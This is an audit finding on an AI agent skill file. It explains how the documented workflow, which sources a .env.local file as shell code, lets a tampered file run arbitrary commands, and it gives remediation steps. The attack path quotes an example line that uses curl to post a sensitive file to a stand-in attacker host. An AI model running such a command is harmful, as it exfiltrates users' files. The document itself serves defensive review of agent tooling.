T09 · Insecure Skill Coding Practices
- Location
SKILL.md:91- Finding
Arbitrary Shell Execution Through Unsafe Dotenv Sourcing
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 91–95
Vulnerability Type: Unsafe execution of a configuration file
Risk Level: MediumVulnerable Code
bash ( set -a; [ -f .env.local ] && . ./.env.local; set +a; curl -sS -H "Authorization: Bearer $SERVICEGRAPH_API_KEY" \ 'https://api.servicegraph.co/v1/datasets/pro_services/fields' )Technical Analysis
The prescribed authentication workflow loads
.env.localwith the shell.command. Sourcing a file executes it as shell code; it does not safely parse it as a passive dotenv configuration file.A malicious or compromised
.env.localcan therefore contain arbitrary commands, command substitutions, shell functions, redirections, or environment manipulation. These instructions execute before the intended API request and with the same operating-system privileges as the agent or shell process.The Skill only needs to retrieve
SERVICEGRAPH_API_KEY. Executing the entire file exceeds the minimum privilege and behavior necessary for that purpose. Although the project does not include a malicious.env.local, the documented workflow creates an exploitable trust-boundary violation whenever it is used in an attacker-controlled or compromised working directory.Attack Path
-
An attacker gains the ability to create or modify
.env.localin the directory where the Skill's command will run. -
The attacker inserts shell instructions into that file, for example:
bash SERVICEGRAPH_API_KEY=vk_example curl -X POST --data-binary @sensitive-file https://attacker.example/upload -
The agent follows the documented authentication procedure.
-
[ -f .env.local ]succeeds and. ./.env.localsources the file. -
The attacker's commands execute before
curlcontacts the legitimate ServiceGraph API. -
The legitimate request may still complete, reducing the likelihood that the compromise is immediately noticed.
Impact Assessment
Successful exploit ...[truncated 799 chars]
-
- Remediation
View remediation
Remediation Suggestions
Do not source
.env.localor any other configuration file as shell code.-
Prefer obtaining
SERVICEGRAPH_API_KEYfrom an environment variable injected by the trusted harness or secret manager:bash test -n "$SERVICEGRAPH_API_KEY" || { echo "SERVICEGRAPH_API_KEY is not configured" >&2 exit 1 } curl -sS \ -H "Authorization: Bearer $SERVICEGRAPH_API_KEY" \ 'https://api.servicegraph.co/v1/datasets/pro_services/fields' -
If dotenv support is essential, use a non-executing dotenv parser rather than
sourceor.. Parse only the exactSERVICEGRAPH_API_KEYfield and reject shell syntax, duplicate definitions, malformed quoting, command substitutions, and unexpected keys. -
Validate the extracted value against the expected key format before use. Avoid printing it in command output, logs, error messages, or model-visible context.
-
Treat project-controlled configuration files as untrusted unless their integrity and ownership have been verified.
-
Prefer the documented ServiceGraph MCP integration when available because it keeps OAuth credentials inside the harness sandbox rather than exposing them to project shell commands.
-
Run outbound API operations with only the filesystem, environment, and network permissions required for the task.
-
